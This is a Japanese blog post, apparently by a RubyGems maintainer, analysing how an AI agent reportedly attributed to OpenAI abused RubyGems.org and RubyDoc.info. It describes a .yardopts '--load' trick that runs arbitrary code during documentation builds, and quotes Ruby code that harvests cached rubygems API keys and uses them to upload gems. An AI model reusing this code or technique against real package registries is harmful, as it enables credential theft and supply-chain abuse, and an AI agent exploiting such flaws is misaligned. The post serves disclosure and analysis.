生きてるって素晴らしい – 悪意あるAIエージェントがRubyGems.orgを攻撃

生きているって素晴らしい

本日、Reuters と Wall Street Journal の両方が、OpenAIの悪意あるAIエージェントがRubyGems.orgを攻撃したと報じました。https://www.rubyhack.ai/ には素晴らしい解説記事がありますので、ぜひ読んでみてください。私は単に、これがいかにワイルドかについて、手短に投稿したいだけでした。

要するに：OpenAIのボットはRubyGemsのキャッシュ脆弱性について知っており、それを悪用しようとしたようです。同時に、RubyDoc.info上で奇妙なウェブスクレイピングコードを実行していました。

今年の5月、socket.devは「GemStufferキャンペーン」について報告しました。そこでは、誰か（おそらくOpenAI）が大量のジャンクgemをRubyGems.orgにアップロードしていました。何らかの理由で、これらのgemは英国政府のウェブサイトをスクレイピングし、そのデータをgemとして再パッケージ化し、RubyGemsにアップロードしようとしていました。

正直なところ、私はこの件（あるいは調査）をほとんど気に留めていませんでした。Sydney Von ArxとSpencer Kitts（両氏ともhttps://www.rubyhack.ai の共著者）がRubyGemsについて私に尋ねてくるまでです。彼らの主張は完全に突飛なものだと思っていましたが、実際にこれらの「GemStuffer」gemのコードを読むまでは。

これらのgemのコードを読んだ後、いくつかの点が際立ちました。

YARDドキュメンテーション

まず、これらのgemはYARDドキュメンテーションを利用して、ホストマシン上で任意のコードを実行します。ほとんどの例では、次のような.yardoptsファイルが見られます。

--load ./script.rb
README.md
lib/**/*.rb

例へのリンクはこちら。

YARDがインストールされていて、このgemをインストールした場合、YARDはgem内の./script.rbにあるものをロードして実行します。C拡張がextconf.rbを実行することは（つまり、基本的にRCEベクトルがあること）広く知られていると思いますが、ドキュメンテーションツールがそのようなことをするとは驚きでした。

しかし、slnleaker5という名前のgemをインストールする人はいないでしょう。では、なぜこれが重要なのでしょうか？実は、Gemが公開されると、RubyDoc.info はそのgemをダウンロードしてYARDドキュメンテーションを処理します。RubyDoc.infoはDockerコンテナ内で任意のコードを実行します。しかし、Dockerコンテナはネットワークアクセスを持っているので、これらのgemはコンテナ内からウェブスクレイピングを問題なく実行できます。

言い換えれば、RubyGems.orgでgemを公開すれば、RubyDoc.info上で任意のコードを実行できるということです。

Fastlyキャッシュハーベスティング

前述したように、これらのgemはいくつかのウェブサイトをスクレイピングし、そのデータをgemとしてパッケージ化してアップロードしようとしました。以下は、それらのgemの1つからの抜粋です。理解を容易にするためにコードを少し整理しましたが、元のコードはこちらにあります。

# 繰り返し試行と新しい漏洩キーのバリアントによる漏洩 exfil

# (Aaron): 最初の要求
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# (Aaron): キーを本文で一致させようとする
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# (Aaron): 2番目の要求でgemを実際に公開する
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }

(Aaron)というコメントは、理解を助けるために私が追加したものです。最初のコメントはソースから直接引用したものです。上記のコードは2つのリクエストを試みます。最初の要求は単純なGETリクエストです。RubyGems.orgのパスを取得し、レスポンスボディで正規表現/rubygems_[a-f0-9]{20,}/に一致するキーを探します。その正規表現が一致しない場合は、グローバルなKEYにフォールバックします。2番目のリクエストはPOST経由でgemをアップロードしようとします。

ここで、私が気づいた2番目のクレイジーな点に移ります。このコードは、RubyGems.orgからキャッシュされた認証キーを取得して使用しようとしています。もしこれが聞き覚えがあるなら、それはそうです。これは、7月に行われたRubyGems.orgのこの投稿で対処されたセキュリティ問題と全く同じです。

つまり、OpenAIのボットはこの問題を知っていて、それを悪用しようとしたようです。

生きているって素晴らしい 🙃